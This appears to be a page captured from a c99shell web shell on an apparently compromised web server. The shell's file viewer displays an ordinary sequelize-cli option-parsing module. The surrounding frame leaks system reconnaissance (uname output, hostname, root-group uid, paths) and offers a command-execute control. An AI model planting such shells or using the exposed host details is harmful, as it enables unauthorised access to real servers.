Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/note.picotech.app/public_html/node_modules/sequelize-cli/lib/core/ drwxr-xr-x | |
| Viewing file: Select action/file-type: "use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports._baseOptions = _baseOptions;
exports._underscoreOption = _underscoreOption;
exports.default = getYArgs;
var _fs = _interopRequireDefault(require("fs"));
var _yargs = _interopRequireDefault(require("yargs"));
var _path = _interopRequireDefault(require("path"));
var _process = _interopRequireDefault(require("process"));
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
function loadRCFile(optionsPath) {
const rcFile = optionsPath || _path.default.resolve(_process.default.cwd(), '.sequelizerc');
const rcFileResolved = _path.default.resolve(rcFile);
return _fs.default.existsSync(rcFileResolved) ? JSON.parse(JSON.stringify(require(rcFileResolved))) : {};
}
const args = _yargs.default.help(false).version(false).config(loadRCFile(_yargs.default.argv.optionsPath));
function getYArgs() {
return args;
}
function _baseOptions(yargs) {
return yargs.option('env', {
describe: 'The environment to run the command in',
default: 'development',
type: 'string'
}).option('config', {
describe: 'The path to the config file',
type: 'string'
}).option('options-path', {
describe: 'The path to a JSON file with additional options',
type: 'string'
}).option('migrations-path', {
describe: 'The path to the migrations folder',
default: 'migrations',
type: 'string'
}).option('seeders-path', {
describe: 'The path to the seeders folder',
default: 'seeders',
type: 'string'
}).option('models-path', {
describe: 'The path to the models folder',
default: 'models',
type: 'string'
}).option('url', {
describe: 'The database connection string to use. Alternative to using --config files',
type: 'string'
}).option('debug', {
describe: 'When available show various debug information',
default: false,
type: 'boolean'
});
}
function _underscoreOption(yargs) {
return yargs.option('underscored', {
describe: "Use snake case for the timestamp's attribute names",
default: false,
type: 'boolean'
});
} |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]-- |